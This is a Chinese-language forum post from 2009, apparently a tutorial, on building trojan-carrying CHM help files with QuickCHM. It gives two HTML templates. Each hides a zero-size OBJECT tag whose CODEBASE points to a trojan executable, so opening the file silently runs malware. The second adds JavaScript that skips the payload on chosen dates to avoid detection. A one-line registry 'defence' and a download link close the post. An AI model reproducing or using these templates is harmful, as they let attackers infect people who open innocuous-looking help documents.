|
|
发表于 2009-7-25 17:45:10
|
显示全部楼层
|阅读模式
来自 广东省深圳市龙岗区
本节课所用到的工具：QuickCHM 木马 CHM文档
什么是CHM
【CHM是英语“Compiled Help Manual”的简写，即“已编译的帮助文件”。CHM是微软新一代的帮助文件格式，利用HTML作源文，把帮助内容以类似数据库的形式编译储存。】
—————————————————————————————————————————————————
代码1：
<HTML>
<HEAD>
<meta http-equiv="refresh" content="3;url='相关指向页面.htm'">
</HEAD>
<BODY>
<OBJECT Width=0 Height=0 style="display:none;" TYPE="application/x-oleobject" CODEBASE="木马程序.exe">
</OBJECT>
</BODY>
</HTML>
_________________________________________________________________________________________________
代码2：
<HTML>
<HEAD>
<meta http-equiv="refresh" content="3;url='相关指向页面.htm'">
</HEAD>
<BODY>
<script LANGUAGE="javascript">
//以下是在2008年11月21日至2008年11月23日之内不运行木马
var ris = 21; //起始日
var rie = 23; //结束日
var yue = 11; //月
var nian = 2008;//年
var riqi = new Date();
var d = riqi.getDate();
var m = riqi.getMonth()+1;
var y = riqi.getYear();
WIE=navigator.appVersion;
if(y!=nian||m!=yue||d<ris||d>rie)
{
document.write('<OBJECT Width=0 Height=0 style="display:none;" TYPE="application\/x-oleobject"');
document.write(' CODEBASE="木马程序.exe">');
document.write('<\/OBJECT>');
}
</script>
</BODY>
</HTML>
CHM木马之防御
注册表修改：[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]
http://d.namipan.com/d/24698326db50bddbd5493cb89ffb380b4f590194e72e4601 |
|
